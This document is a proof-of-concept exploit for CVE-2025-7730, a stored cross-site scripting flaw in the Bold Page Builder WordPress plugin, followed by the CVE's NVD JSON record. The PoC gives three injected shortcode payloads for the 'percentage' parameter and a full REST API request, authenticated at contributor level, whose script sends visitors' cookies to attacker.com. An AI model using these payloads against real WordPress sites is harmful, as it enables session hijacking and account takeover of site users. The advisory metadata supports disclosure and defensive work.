CVE-2025-7730

<!-- CVE-2025-7730 PoC: Stored XSS via percentage parameter --> <!-- Requires Contributor-level access or higher --> <!-- Method 1: Using script tag --> [bt_bb_progress_bar percentage='" onerror="alert(String.fromCharCode(88,83,83))" data-xss="' percentage_value='50' text='Progress'][/bt_bb_progress_bar] <!-- Method 2: Using event handler --> [bt_bb_progress_bar percentage='<img src=x onerror=alert(document.cookie)>' percentage_value='75' text='Test Progress'][/bt_bb_progress_bar] <!-- Method 3: Simple payload --> [bt_bb_progress_bar percentage='"><script>alert("XSS")</script>' percentage_value='100' text='Malicious'][/bt_bb_progress_bar] <!-- HTTP Request Example --> POST /wp-json/wp/v2/pages/{page_id} HTTP/1.1 Host: target.com Content-Type: application/json Authorization: Bearer {contributor_token} { "content": "[bt_bb_progress_bar percentage='<script>fetch(\"https://attacker.com/steal?c=\"+document.cookie)</script>' percentage_value='50'][/bt_bb_progress_bar]" }

{"cve": {"id": "CVE-2025-7730", "sourceIdentifier": "[email protected]", "published": "2025-10-23T23:15:37.950", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Bold Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘percentage’ parameter in all versions up to, and including, 5.4.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/bold-page-builder/tags/5.4.2/content_elements/bt_bb_progress_bar/bt_bb_progress_bar.php#L90", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/bold-page-builder/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6cd5d1c7-4be2-457b-bd28-0cb76e9800e5?source=cve", "source": "[email protected]"}]}}